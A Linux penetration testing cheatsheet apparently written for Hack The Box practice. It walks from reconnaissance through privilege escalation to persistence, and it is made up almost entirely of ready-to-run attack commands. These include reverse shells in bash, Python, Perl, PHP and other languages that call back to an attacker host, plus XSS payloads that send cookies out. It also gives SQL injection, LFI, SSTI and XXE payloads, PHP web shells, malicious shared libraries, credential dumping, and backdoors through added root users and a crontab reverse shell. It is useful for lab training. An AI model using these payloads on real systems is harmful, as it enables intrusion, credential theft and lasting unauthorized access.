Linux Penetration Testing Cheatsheet
by J0stif · Full Methodology: Recon → Root
📋 TABLE OF CONTENTS
- Environment Setup
- Phase 1 — Reconnaissance & Enumeration
- Phase 2 — Service Enumeration Deep Dive
- Phase 3 — Web Application Attacks
- Phase 4 — Exploitation & Initial Access
- Phase 5 — Post-Exploitation & Stabilization
- Phase 6 — Linux Privilege Escalation
- Phase 7 — Persistence & Loot
- Wordlists & Resources
- One-Liners & Tricks
🛠️ Environment Setup
# Set target IP once — use $IP everywhere
export IP=10.10.11.XXX
export LHOST=10.10.14.XXX # your HTB tun0 IP
export LPORT=4444
# Confirm your interface
ip a show tun0
# Create working directory
mkdir -p ~/htb/machinename/{nmap,web,loot,exploits}
cd ~/htb/machinename
Phase 1 — Reconnaissance & Enumeration
1.1 Nmap — Initial Scans
# Fast full TCP port scan (find open ports first)
nmap -p- --min-rate=5000 -T4 $IP -oN nmap/all_ports.txt
# Targeted service/version/script scan on found ports
nmap -p 22,80,443 -sC -sV -O $IP -oN nmap/targeted.txt
# UDP top 100 (don't skip this!)
nmap -sU --top-ports 100 $IP -oN nmap/udp.txt
# Vulnerability scan (use carefully, can be noisy)
nmap --script vuln $IP -oN nmap/vuln.txt
# SMB-specific enumeration
nmap --script smb-enum-shares,smb-enum-users,smb-vuln* -p 445 $IP
# NSE scripts by category
nmap --script "default or safe" $IP
nmap --script "http-*" -p 80,8080,443 $IP
1.2 AutoRecon (Full Automation)
# Install
pip3 install git+https://github.com/Tib3rius/AutoRecon.git
# Run
autorecon $IP -o autorecon/
Phase 2 — Service Enumeration Deep Dive
2.1 FTP (Port 21)
# Anonymous login
ftp $IP
# user: anonymous | pass: (blank or email)
# Banner grab
nc -nv $IP 21
# Nmap scripts
nmap --script ftp-anon,ftp-brute -p 21 $IP
# Recursive download
wget -m ftp://anonymous:anonymous@$IP/
2.2 SSH (Port 22)
# Banner / version
ssh -v $IP
# Try common creds
ssh admin@$IP
ssh root@$IP
# Audit SSH config
nmap --script ssh-auth-methods -p 22 $IP
nmap --script ssh-hostkey -p 22 $IP
# Connect with key
ssh -i id_rsa user@$IP
chmod 600 id_rsa # required!
# Port forwarding via SSH
ssh -L 8080:127.0.0.1:8080 user@$IP # local forward
ssh -R 9090:127.0.0.1:9090 user@$IP # remote forward
ssh -D 1080 user@$IP # SOCKS5 proxy
2.3 SMTP (Port 25)
# User enumeration via VRFY/EXPN
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $IP
smtp-user-enum -M EXPN -U users.txt -t $IP
# Manual
nc -nv $IP 25
VRFY root
EXPN root
# Nmap scripts
nmap --script smtp-enum-users,smtp-vuln* -p 25 $IP
2.4 DNS (Port 53)
# Zone transfer attempt
dig axfr @$IP domain.htb
host -l domain.htb $IP
# Reverse lookup
dig -x $IP @$IP
# Subdomain brute force
gobuster dns -d domain.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 50
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://domain.htb -H "Host: FUZZ.domain.htb" -fs 0
# DNSRecon
dnsrecon -d domain.htb -t axfr
dnsrecon -d domain.htb -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
2.5 SMB (Port 445)
# Null session enum
smbclient -L //$IP -N
smbclient //$IP/share -N
# CrackMapExec
crackmapexec smb $IP
crackmapexec smb $IP -u '' -p '' --shares
crackmapexec smb $IP -u 'guest' -p '' --shares
# Enum4linux-ng (comprehensive)
enum4linux-ng -A $IP
# smbmap
smbmap -H $IP
smbmap -H $IP -u '' -p ''
smbmap -H $IP -u 'user' -p 'pass' -R # recursive
# Download all files from a share
smbget -R smb://$IP/share -U guest
# Mount share
mount -t cifs //$IP/share /mnt/smb -o username=guest,password=
# Nmap scripts
nmap --script smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 $IP
2.6 SNMP (Port 161 UDP)
# Walk community strings
snmpwalk -v2c -c public $IP
snmpwalk -v2c -c private $IP
snmpwalk -v1 -c public $IP
# Brute force community string
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt $IP
# Enumerate specific OIDs
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25 # users
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2 # processes
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.6.13.1.3 # open ports
2.7 NFS (Port 2049)
# Show available mounts
showmount -e $IP
nmap -sV --script nfs-showmount $IP
# Mount NFS share
mount -t nfs $IP:/share /mnt/nfs
mount -t nfs -o vers=3 $IP:/share /mnt/nfs
# Check permissions
ls -la /mnt/nfs
2.8 LDAP (Port 389/636)
# Anonymous bind
ldapsearch -x -H ldap://$IP -b "dc=domain,dc=htb"
ldapsearch -x -H ldap://$IP -b "" -s base namingContexts
# Dump all objects
ldapsearch -x -H ldap://$IP -b "dc=domain,dc=htb" "(objectClass=*)"
# Enum users
ldapsearch -x -H ldap://$IP -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccountName
# With creds
ldapsearch -x -H ldap://$IP -D "cn=admin,dc=domain,dc=htb" -w 'password' -b "dc=domain,dc=htb"
2.9 Redis (Port 6379)
redis-cli -h $IP
redis-cli -h $IP ping
redis-cli -h $IP info
redis-cli -h $IP keys '*'
redis-cli -h $IP get key_name
# Auth
redis-cli -h $IP auth password
2.10 MySQL (Port 3306)
mysql -h $IP -u root -p
mysql -h $IP -u root --password=''
# Commands inside MySQL
SHOW DATABASES;
USE db_name;
SHOW TABLES;
SELECT * FROM table_name;
SELECT user,password FROM mysql.user;
# Read files (if FILE priv)
SELECT LOAD_FILE('/etc/passwd');
# Write files (if writeable)
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
2.11 PostgreSQL (Port 5432)
psql -h $IP -U postgres
psql -h $IP -U postgres -d database_name
# if tunneling
psql -U user -h localhost -p 1234
# Commands
\list -- list databases
\c dbname -- connect to db
\dt -- list tables
SELECT * FROM table;
\q -- quit
# RCE via COPY TO/FROM
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
Phase 3 — Web Application Attacks
3.1 Directory & File Fuzzing
# Gobuster
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 50 -x php,txt,html,bak -o web/gobuster.txt
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
# Ffuf (faster, more flexible)
ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -t 100
ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -mc 200,301,302,403
ffuf -u http://$IP/FUZZ -w wordlist.txt -fs 0 # filter by size
ffuf -u http://$IP/FUZZ -w wordlist.txt -fc 404 # filter 404s
# Feroxbuster (recursive by default)
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,html,txt -t 100
# Vhost / subdomain fuzzing
ffuf -u http://$IP -H "Host: FUZZ.domain.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txthen -fs [baseline_size]
gobuster vhost -u http://domain.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain
3.2 Parameter Fuzzing
# GET param fuzzing
ffuf -u "http://$IP/page.php?FUZZ=value" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
ffuf -u "http://$IP/page.php?id=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
# POST param fuzzing
ffuf -u "http://$IP/login" -X POST -d "FUZZ=value" -w params.txt
ffuf -u "http://$IP/login" -X POST -d "username=FUZZ&password=test" -w users.txt
# Header fuzzing
ffuf -u "http://$IP/" -H "X-Forwarded-For: FUZZ" -w ips.txt
3.3 SQL Injection
# Manual detection
' OR '1'='1
' OR '1'='1'--
' OR 1=1--
" OR 1=1--
') OR ('1'='1
admin'--
# SQLMap — basic
sqlmap -u "http://$IP/page?id=1" --dbs
sqlmap -u "http://$IP/page?id=1" -D dbname --tables
sqlmap -u "http://$IP/page?id=1" -D dbname -T users --dump
# SQLMap — POST
sqlmap -u "http://$IP/login" --data="username=admin&password=test" --dbs
# SQLMap — with cookies
sqlmap -u "http://$IP/page" --cookie="PHPSESSID=abc123" --dbs
# SQLMap — file read/write
sqlmap -u "http://$IP/page?id=1" --file-read=/etc/passwd
sqlmap -u "http://$IP/page?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php
# SQLMap — OS shell
sqlmap -u "http://$IP/page?id=1" --os-shell
# Blind SQLi detection
' AND SLEEP(5)--
' AND 1=2--
3.4 LFI / Path Traversal
# Basic payloads
/etc/passwd
../../../etc/passwd
....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
..%252f..%252f..%252fetc/passwd
# LFI with null byte (PHP < 5.5)
/etc/passwd%00
# PHP wrappers
php://filter/convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=config.php
php://input (POST body as PHP code)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# Log poisoning → LFI → RCE
# Poison via User-Agent or SSH
curl -s http://$IP/index.php -A "<?php system(\$_GET['cmd']); ?>"
# Then: http://$IP/index.php?page=/var/log/apache2/access.log&cmd=id
# Common files to read
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log
/var/log/auth.log
/home/user/.ssh/id_rsa
/root/.ssh/id_rsa
/var/www/html/config.php
3.5 File Upload Bypass
# MIME type bypass
Content-Type: image/jpeg (but send PHP)
# Extension bypass
shell.php.jpg
shell.php5
shell.php7
shell.phtml
shell.pHp
shell.PhP
# Magic bytes trick (prepend GIF header)
GIF89a; <?php system($_GET['cmd']); ?>
# Double extension
shell.jpg.php
# Null byte (old servers)
shell.php%00.jpg
3.6 SSRF
# Basic SSRF test
http://127.0.0.1/
http://localhost/
http://169.254.169.254/ # AWS metadata
# Port scan via SSRF
http://127.0.0.1:22/
http://127.0.0.1:3306/
http://127.0.0.1:6379/
# Read files via SSRF
file:///etc/passwd
dict://127.0.0.1:6379/info
# Cloud metadata
http://169.254.169.254/latest/meta-data/ # AWS
http://metadata.google.internal/ # GCP
3.7 Command Injection
# Basic detection
; id
| id
&& id
`id`
$(id)
; id #
# Common bypasses
;id%0a
%3Bid
${IFS}id
{id}
# Blind detection (DNS/time based)
; ping -c 1 $LHOST
; curl http://$LHOST/
; sleep 5
3.8 SSTI (Server-Side Template Injection)
# Detection payloads
{{7*7}} → 49 (Jinja2, Twig)
${7*7} → 49 (FreeMarker)
<%= 7*7 %> → 49 (ERB)
#{7*7} → 49 (Ruby)
*{7*7} → 49 (Spring)
# Jinja2 RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}
# Twig RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
3.9 XSS / Cookie Stealing
# Reflected XSS
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><script>alert(1)</script>
# Cookie theft (serve collector with python)
python3 -m http.server 80
<script>new Image().src='http://$LHOST/?c='+document.cookie</script>
# XSS to session hijack
<script>fetch('http://$LHOST/?c='+btoa(document.cookie))</script>
3.10 XXE
# Basic XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
# XXE via PHP
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
# Blind XXE (OOB)
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://$LHOST/?data=test">]>
Phase 4 — Exploitation & Initial Access
4.1 Reverse Shells
# Bash
bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
# Bash (URL encoded, for web)
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F$LHOST%2F$LPORT%200%3E%261%27
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$LHOST",$LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
# Python2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$LHOST",$LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
# Perl
perl -e 'use Socket;$i="$LHOST";$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
# PHP
php -r '$sock=fsockopen("$LHOST",$LPORT);exec("/bin/bash -i <&3 >&3 2>&3");'
# Ruby
ruby -rsocket -e'f=TCPSocket.open("$LHOST",$LPORT).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
# Netcat (GNU)
nc -e /bin/bash $LHOST $LPORT
# Netcat (OpenBSD - no -e)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc $LHOST $LPORT > /tmp/f
# AWK
awk 'BEGIN {s = "/inet/tcp/0/$LHOST/$LPORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
# Socat (encrypted)
socat FILE:`tty`,raw,echo=0 TCP:$LHOST:$LPORT # on attacker
socat TCP:$LHOST:$LPORT EXEC:/bin/bash # on target
4.2 Listeners
# Netcat
nc -lvnp $LPORT
# Rlwrap (arrow keys + history)
rlwrap nc -lvnp $LPORT
# Socat (fully interactive)
socat TCP-LISTEN:$LPORT,reuseaddr FILE:`tty`,raw,echo=0
# Metasploit multi/handler
msfconsole -q
use exploit/multi/handler
set PAYLOAD linux/x64/shell_reverse_tcp
set LHOST $LHOST
set LPORT $LPORT
run
4.3 MSFVenom Payloads
# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o meter.elf
# PHP
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=$LPORT -f raw -o shell.php
# Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o shell.py
# Bash
msfvenom -p cmd/unix/reverse_bash LHOST=$LHOST LPORT=$LPORT -f raw -o shell.sh
# Web
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o shell.jsp
4.4 Password Attacks
# Hydra — SSH
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://$IP
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://$IP -t 4
# Hydra — FTP
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://$IP
# Hydra — HTTP form
hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
hydra -l admin -P rockyou.txt $IP http-get-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
# Hydra — HTTP basic auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-get /admin/
# Medusa — SSH
medusa -h $IP -u user -P /usr/share/wordlists/rockyou.txt -M ssh
# CrackMapExec — SMB password spray
crackmapexec smb $IP -u users.txt -p passwords.txt --continue-on-success
# Hash cracking with hashcat
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt # MD5
hashcat -m 100 hash.txt /usr/share/wordlists/rockyou.txt # SHA1
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt # sha512crypt
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt # NTLM
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt # NTLMv2
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# John the Ripper
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john hash.txt --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
# Convert for john
zip2john file.zip > zip.hash
pdf2john file.pdf > pdf.hash
ssh2john id_rsa > ssh.hash
4.5 Searchsploit & Public Exploits
# Search
searchsploit apache 2.4
searchsploit openssh 7.4
searchsploit -w "term" # open in browser
# Copy exploit to local dir
searchsploit -m exploits/linux/remote/12345.py
# Check Exploit-DB manually
# https://www.exploit-db.com
# GitHub PoC search
# https://github.com/search?q=CVE-2024-XXXX
# Install tools
pip3 install git+https://github.com/...
Phase 5 — Post-Exploitation & Stabilization
5.1 Shell Stabilization (Critical!)
# Method 1 — Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z
stty raw -echo; fg
# Press Enter twice
export TERM=xterm
# Method 2 — Socat (fully interactive)
# On attacker:
socat file:`tty`,raw,echo=0 tcp-listen:$LPORT
# On target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT
# Method 3 — Script
script /dev/null -c bash
# Then Ctrl+Z, stty raw -echo; fg
# Fix terminal size
stty -a # check your local terminal size
stty rows 40 cols 200 # set on victim
# Set env
export SHELL=bash
export TERM=xterm-256color
5.2 File Transfer
# Python HTTP server (quickest)
python3 -m http.server 8080
# On victim:
wget http://$LHOST:8080/file -O /tmp/file
curl http://$LHOST:8080/file -o /tmp/file
# Netcat transfer
nc -lvnp 9001 > file.out # receiver
nc -nv $LHOST 9001 < file.in # sender
# Base64 encode/decode
base64 -w 0 file # encode (on source)
echo "BASE64DATA" | base64 -d > file # decode (on dest)
# SCP (if SSH available)
scp file.txt user@$IP:/tmp/
scp user@$IP:/etc/passwd .
# SMB server (Impacket)
impacket-smbserver share . -smb2support
# On victim: copy \\$LHOST\share\file .
# Upload with curl
curl -X POST http://site/upload -F "file=@shell.php"
# Upload with wget
wget --post-file=shell.php http://site/upload
5.3 Situational Awareness
# Who am I
id
whoami
hostname
uname -a
# Network
ip a
ip route
netstat -antp
ss -antp
cat /etc/hosts
# OS / Kernel
cat /etc/os-release
cat /etc/issue
uname -r # kernel version — search for kernel exploits!
# Users
cat /etc/passwd
cat /etc/shadow # need root
cat /etc/group
w
who
last
# Running processes
ps aux
ps -ef
top
# Cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*
# Interesting files
find / -name "*.txt" -readable 2>/dev/null
find / -name "*.conf" -readable 2>/dev/null
find / -name "config.php" -readable 2>/dev/null
find / -name "*.bak" -readable 2>/dev/null
find / -name ".env" -readable 2>/dev/null
# History files
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
# SSH keys
ls -la ~/.ssh/
cat ~/.ssh/id_rsa
cat ~/.ssh/authorized_keys
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
Phase 6 — Linux Privilege Escalation
6.1 Automated Enumeration
# LinPEAS (best all-in-one)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
# Or transfer and run:
wget http://$LHOST:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.out
# LinEnum
wget http://$LHOST:8080/LinEnum.sh -O /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t | tee /tmp/linenum.out
# pspy (process spy — no root needed)
wget http://$LHOST:8080/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64 | tee /tmp/pspy.out # watch for 5+ mins!
# linux-exploit-suggester
wget http://$LHOST:8080/linux-exploit-suggester.sh -O /tmp/les.sh
chmod +x /tmp/les.sh
/tmp/les.sh | tee /tmp/les.out
6.2 SUID / SGID Binaries
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
# Check GTFObins for each!
# https://gtfobins.github.io
# Common SUID exploits:
# bash SUID
bash -p
# find SUID
find . -exec /bin/bash -p \; -quit
# vim SUID
vim -c ':!/bin/bash'
# nano SUID — read /etc/passwd, add root user
# cp SUID — copy bash to /tmp, add SUID bit
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p
# nmap SUID (old)
nmap --interactive
!sh
# env SUID
env /bin/bash -p
# python SUID
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
6.3 Sudo Abuse
# Check sudo permissions
sudo -l
# Check if NOPASSWD for any command
# Sudo ALL
sudo /bin/bash
# Specific command exploits (from GTFObins):
sudo vim -c ':!/bin/bash'
sudo nano # then Ctrl+R, Ctrl+X, reset; sh 1>&0 2>&0
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo find / -exec /bin/bash \; -quit
sudo less /etc/passwd # then !bash
sudo man bash # then !bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"
sudo env /bin/bash
sudo ed # then !bash
sudo ftp # then !bash
sudo lua -e 'os.execute("/bin/bash")'
sudo ruby -e 'exec "/bin/bash"'
sudo perl -e 'exec "/bin/bash";'
# Sudo with wildcard abuse
# e.g. sudo /usr/bin/rsync *
# Use: --rsync-path="sudo /bin/bash"
# LD_PRELOAD abuse (if env_keep += LD_PRELOAD)
cat > /tmp/shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <allowed_command>
6.4 Writable Files & Cron Jobs
# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys
find / -writable -type f ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null
# World-writable directories
find / -writable -type d 2>/dev/null
# Watch cron jobs via pspy
/tmp/pspy64
# Exploit writable cron script
echo "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'" >> /etc/cron.d/script.sh
# Writable /etc/passwd
openssl passwd -1 -salt hacker password123
echo "hacker:\$1\$hacker\$HASH:0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker # password: password123
# Path hijacking via cron
# If cron runs: /usr/local/bin/backup.sh which calls 'curl' without full path:
echo '#!/bin/bash' > /tmp/curl
echo 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' >> /tmp/curl
chmod +x /tmp/curl
export PATH=/tmp:$PATH
6.5 Capabilities
# Find capabilities
getcap -r / 2>/dev/null
find / -xdev 2>/dev/null | xargs getcap 2>/dev/null
# Common exploitable capabilities:
# cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_net_raw (tcpdump)
# cap_dac_override (ignore read/write permissions)
# perl cap_setuid
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# ruby cap_setuid
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
6.6 Kernel Exploits
# Check kernel version
uname -r
uname -a
cat /proc/version
# Google: "Ubuntu 18.04 4.15.0 kernel exploit"
# DirtyPipe (CVE-2022-0847, kernel < 5.16.11)
# DirtyCow (CVE-2016-5195, kernel < 4.8.3)
# Baron Samedit (sudo < 1.9.5p2 CVE-2021-3156)
# linux-exploit-suggester
/tmp/les.sh 2>/dev/null | grep -E "high|medium"
# Compile on target if gcc available
gcc exploit.c -o exploit
./exploit
# Or compile locally (match arch)
gcc -m64 exploit.c -o exploit # 64-bit
gcc -m32 exploit.c -o exploit # 32-bit
6.7 Docker Escape
# Check if inside docker
cat /.dockerenv # exists? you're in docker
hostname
cat /proc/1/cgroup | grep docker
# Docker socket escape
ls -la /var/run/docker.sock
# If writable:
docker -H unix:///var/run/docker.sock run -it -v /:/host ubuntu /bin/bash
# Then: chroot /host /bin/bash
# Docker group escape
id # check if in "docker" group
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Cap SYS_ADMIN
# capsh --print | grep cap_sys_admin
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
6.8 PATH Hijacking
# Find SUID binaries using PATH
strings /usr/local/bin/suid_binary | grep -v "/" | head -20
# Look for commands without absolute paths
# Create malicious binary
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
# Prepend /tmp to PATH
export PATH=/tmp:$PATH
# Run vulnerable SUID binary
/usr/local/bin/suid_binary
6.9 NFS Root Squashing
# Check on victim
cat /etc/exports
# Look for "no_root_squash"
# On attacker (as root):
showmount -e $IP
mount -t nfs $IP:/share /mnt/nfs
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash
# On victim:
/share/rootbash -p
6.10 Wildcard Injection
# If cron runs: tar -czf backup.tar.gz /var/www/html/*
# In /var/www/html/, create:
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=bash shell.sh"
cat > shell.sh << EOF
#!/bin/bash
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
EOF
chmod +x shell.sh
6.11 Library Hijacking
# Find programs using shared libs
ldd /usr/local/bin/program
# Look for missing libs or writable lib paths
# Check LD_LIBRARY_PATH
echo $LD_LIBRARY_PATH
# Create malicious shared library
cat > /tmp/malicious.c << EOF
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'");
}
EOF
gcc -shared -fPIC -o /tmp/libmalicious.so /tmp/malicious.c
LD_LIBRARY_PATH=/tmp program
Phase 7 — Persistence & Loot
7.1 User Flag
# Find it
find / -name "user.txt" 2>/dev/null
cat /home/*/user.txt
7.2 Root Flag
cat /root/root.txt
7.3 Credential Dumping
# /etc/shadow
cat /etc/shadow
# Crack with hashcat
hashcat -m 1800 shadow.txt /usr/share/wordlists/rockyou.txt # sha512crypt
hashcat -m 500 shadow.txt /usr/share/wordlists/rockyou.txt # md5crypt
# SSH keys
cat /root/.ssh/id_rsa
cat /home/*/.ssh/id_rsa
# Application configs
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password\|passwd\|secret" 2>/dev/null
find / -name "*.php" -readable 2>/dev/null | xargs grep -l "password\|passwd" 2>/dev/null
grep -r "DB_PASS\|DB_PASSWORD\|password\|secret" /var/www/html/ 2>/dev/null
# History files
cat ~/.bash_history
cat ~/.zsh_history
cat /home/*/.bash_history
# Mail
cat /var/mail/*
cat /var/spool/mail/*
7.4 Persistence
# Add SSH key
mkdir -p ~/.ssh
echo "ssh-rsa YOUR_PUBKEY" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys
# Add root user
openssl passwd -1 -salt hacker password
echo "hacker:\$1\$hacker\$HASH:0:0:hacker:/root:/bin/bash" >> /etc/passwd
# Crontab backdoor
(crontab -l; echo "* * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1") | crontab -
Wordlists & Resources
Wordlists (SecLists)
# Directories
/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
/usr/share/wordlists/dirb/common.txt
# Passwords
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
# Usernames
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
/usr/share/seclists/Usernames/Names/names.txt
# DNS / VHosts
/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
# LFI
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
# Parameters
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
# SQL Injection
/usr/share/seclists/Fuzzing/SQLi/
Key References
GTFOBins: https://gtfobins.github.io
Exploit-DB: https://www.exploit-db.com
RevShells: https://www.revshells.com
PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
HackTricks: https://book.hacktricks.xyz
PEASS-ng: https://github.com/carlospolop/PEASS-ng
SecLists: https://github.com/danielmiessler/SecLists
pspy: https://github.com/DominicBreuker/pspy
One-Liners & Tricks
# Find passwords in files
grep -rn "password\|passwd\|secret\|api_key" /var/www/ 2>/dev/null
# Find writable directories
find / -writable -type d 2>/dev/null | grep -v '/proc\|/sys\|/dev'
# Find files modified recently (last 10 min)
find / -mmin -10 -type f 2>/dev/null | grep -v '/proc\|/sys'
# Find config files
find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" 2>/dev/null | grep -v '/proc\|/sys'
# Port scan from victim (when no nmap)
for p in $(seq 1 1000); do (echo >/dev/tcp/127.0.0.1/$p) 2>/dev/null && echo "$p open"; done
# Check listening ports (no netstat)
ss -antp
cat /proc/net/tcp # hex ports
# Quick hash ID
hash-identifier <hash>
hashid <hash>
# Decode base64
echo "BASE64==" | base64 -d
cat file | base64 -d
# URL decode
